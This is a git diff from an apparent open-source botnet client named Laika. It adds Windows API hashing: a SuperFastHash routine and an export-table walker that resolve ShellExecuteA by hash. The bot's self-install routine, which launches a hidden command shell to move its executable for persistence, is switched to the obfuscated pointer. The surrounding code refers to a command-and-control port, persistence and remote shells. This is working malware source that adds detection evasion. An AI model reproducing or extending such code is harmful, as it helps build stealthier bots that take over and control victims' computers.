diff --git a/bot/include/obf.h b/bot/include/obf.h new file mode 100644 index 0000000..95c7507 --- /dev/null +++ b/bot/include/obf.h @@ -0,0 +1,17 @@ +#ifndef LAIKA_OBF_H +#define LAIKA_OBF_H + +#include "laika.h" + +#ifdef _WIN32 +# include + +/* WINAPI types */ +typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT); + +extern _ShellExecuteA oShellExecuteA; +#endif + +void laikaO_init(); + +#endif \ No newline at end of file diff --git a/bot/lin/linobf.c b/bot/lin/linobf.c new file mode 100644 index 0000000..e0910aa --- /dev/null +++ b/bot/lin/linobf.c @@ -0,0 +1,6 @@ +#include "obf.h" + +void laikaO_init() +{ + /* stubbed */ +} \ No newline at end of file diff --git a/bot/src/main.c b/bot/src/main.c index fe35934..58239fb 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -3,6 +3,7 @@ #include "lconfig.h" #include "lerror.h" #include "ltask.h" +#include "obf.h" #include "persist.h" #include "shell.h" @@ -27,6 +28,9 @@ int main() LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT); struct sLaika_bot *bot; + /* init API obfuscation (windows only) */ + laikaO_init(); + #ifdef LAIKA_PERSISTENCE laikaB_markRunning(); diff --git a/bot/win/winobf.c b/bot/win/winobf.c new file mode 100644 index 0000000..f14b06d --- /dev/null +++ b/bot/win/winobf.c @@ -0,0 +1,137 @@ +#include "obf.h" + +/* + Most of this file was adapted from + https://github.com/LloydLabs/Windows-API-Hashing/blob/master/resolve.c + + Checkout their repository! All I did was minor formatting changes and some misc. cleanup +*/ + +#include +#include + +/* ======================================[[ API Hashing ]]====================================== */ + +#define RESOLVE_NAME_MAX 4096 +#define RESOLVE_REL_CALC(x, y) ((LPBYTE)x + y) + +/* + getHashName(LPCSTR) -> uint32_t + uses the SuperFastHash algorithm to create an unsigned 32-bit hash +*/ +uint32_t getHashName(LPCSTR cszName) +{ + SIZE_T uNameLen, i; + PBYTE pbData = (PBYTE)cszName; + uint32_t u32Hash = 0, u32Buf = 0; + INT iRemain; + + if (cszName == NULL) + return 0; + + if ((uNameLen = strnlen_s(cszName, RESOLVE_NAME_MAX)) == 0) + return 0; + + iRemain = (uNameLen & 3); + uNameLen >>= 2; + + for (i = uNameLen; i > 0; i--) { + u32Hash += *(const UINT16 *)pbData; + u32Buf = (*(const UINT16 *)(pbData + 2) << 11) ^ u32Hash; + u32Hash = (u32Hash << 16) ^ u32Buf; + pbData += (2 * sizeof(UINT16)); + u32Hash += u32Hash >> 11; + } + + switch (iRemain) { + case 1: + u32Hash += *pbData; + u32Hash ^= u32Hash << 10; + u32Hash += u32Hash >> 1; + break; + case 2: + u32Hash += *(const UINT16 *)pbData; + u32Hash ^= u32Hash << 11; + u32Hash += u32Hash >> 17; + break; + case 3: + u32Hash += *(const UINT16 *)pbData; + u32Hash ^= u32Hash << 16; + u32Hash ^= pbData[sizeof(UINT16)] << 18; + u32Hash += u32Hash >> 11; + break; + } + + u32Hash ^= u32Hash << 3; + u32Hash += u32Hash >> 5; + u32Hash ^= u32Hash << 4; + u32Hash += u32Hash >> 17; + u32Hash ^= u32Hash << 25; + u32Hash += u32Hash >> 6; + + return u32Hash; +} + +void *findByHash(LPCWSTR module, uint32_t hash) +{ + HMODULE hLibrary; + PIMAGE_DOS_HEADER pDOSHdr; + PIMAGE_NT_HEADERS pNTHdr; + PIMAGE_EXPORT_DIRECTORY pIED; + PDWORD pdwAddress, pdwNames; + PWORD pwOrd; + + if ((hLibrary = LoadLibrary(module)) == NULL) + return NULL; + + /* grab DOS headers & verify */ + pDOSHdr = (PIMAGE_DOS_HEADER)hLibrary; + if (pDOSHdr->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + /* grab NT headers & verify */ + pNTHdr = (PIMAGE_NT_HEADERS)RESOLVE_REL_CALC(hLibrary, pDOSHdr->e_lfanew); + if (pNTHdr->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + /* verify that this NT file is a DLL & actually exports functions */ + if ((pNTHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) == 0 || + pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0 || + pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0) + return NULL; + + pIED = (PIMAGE_EXPORT_DIRECTORY)RESOLVE_REL_CALC( + hLibrary, + pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + pdwAddress = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfFunctions); + pdwNames = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNames); + pwOrd = (PWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNameOrdinals); + + /* walk library export table, compare hashes until we find a match */ + for (DWORD i = 0; i < pIED->AddressOfFunctions; i++) { + if (getHashName((LPCSTR)RESOLVE_REL_CALC(hLibrary, pdwNames[i])) == hash) + return (void *)RESOLVE_REL_CALC(hLibrary, pdwAddress[pwOrd[i]]); + } + + /* function name was not found */ + return NULL; +} + +#undef RESOLVE_REL_CALC + +/* ======================================[[ Exposed API ]]====================================== */ + +_ShellExecuteA oShellExecuteA; + +void laikaO_init() +{ + uint32_t hash; + + /* TODO: these library strings should probably be obfuscated (by a skid box maybe?) */ + oShellExecuteA = findByHash("shell32.dll", 0x89858cd3); + + hash = getHashName("ShellExecuteA"); /* 0x89858cd3 */ + printf("ShellExecuteA: real is %p, hashed is %p. [HASH: %x]\n", (void *)ShellExecuteA, + findByHash("shell32.dll", hash), hash); +} \ No newline at end of file diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c index c9c490a..41f07c8 100644 --- a/bot/win/winpersist.c +++ b/bot/win/winpersist.c @@ -11,6 +11,7 @@ #include "lerror.h" #include "lmem.h" #include "lvm.h" +#include "obf.h" #include "persist.h" HANDLE laikaB_mutex; @@ -150,7 +151,7 @@ void installSelf() lstrcatA(szCmd, szInstall); if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || - (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32) + (INT)oShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32) LAIKA_ERROR("Failed to start shell for moving exe!\n"); laikaB_unmarkRunning(); diff --git a/bot/win/winshell.c b/bot/win/winshell.c index f78c4bc..4370fd6 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -23,7 +23,6 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) { - ; TCHAR szComspec[MAX_PATH]; struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));